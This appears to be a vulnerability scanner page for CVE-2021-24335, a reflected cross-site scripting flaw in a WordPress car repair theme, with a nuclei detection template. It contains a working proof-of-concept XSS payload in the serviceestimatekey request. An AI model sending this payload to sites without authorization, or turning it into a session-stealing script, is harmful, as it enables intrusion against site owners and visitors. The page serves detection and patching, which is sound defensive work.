WordPress Car Repair Services & Auto Mechanic Theme <4.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.9%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

WordPress Car Repair Services & Auto Mechanic before 4.0 contains a reflected cross-site scripting vulnerability. It does not properly sanitize the serviceestimatekey parameter before outputting it back in the page.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.

Fix

Update to the latest version of the WordPress Car Repair Services & Auto Mechanic Theme (version 4.0 or higher) to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "/wp-content/themes/car-repair-services/css" or "/wp-content/themes/car-repair-services/js" or "id=\"car-repair-services-"
Send: GET {{BaseURL}}/car1/estimateresult/result?s=&serviceestimatekey=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24335 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24335

info:
  name: WordPress Car Repair Services & Auto Mechanic Theme <4.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Car Repair Services & Auto Mechanic before 4.0 contains a reflected cross-site scripting vulnerability. It does not properly sanitize the serviceestimatekey parameter before outputting it back in the page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the WordPress Car Repair Services & Auto Mechanic Theme (version 4.0 or higher) to mitigate the XSS vulnerability.
  reference:
    - https://themeforest.net/item/car-repair-services-auto-mechanic-wordpress-theme/19823557
    - https://wpscan.com/vulnerability/39258aba-2449-4214-a490-b8e46945117d
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24335
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24335
    cwe-id: CWE-79
    epss-score: 0.03884
    epss-percentile: 0.90319
    cpe: cpe:2.3:a:smartdatasoft:car_repair_services_\&_auto_mechanic:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: smartdatasoft
    product: "car_repair_services_\\&_auto_mechanic"
    framework: wordpress
  tags: cve2021,cve,wordpress,xss,wp-plugin,wpscan,smartdatasoft,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}'

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/themes/car-repair-services/css'
          - '/wp-content/themes/car-repair-services/js'
          - 'id="car-repair-services-'
        condition: or

  - method: GET
    path:
      - '{{BaseURL}}/car1/estimateresult/result?s=&serviceestimatekey=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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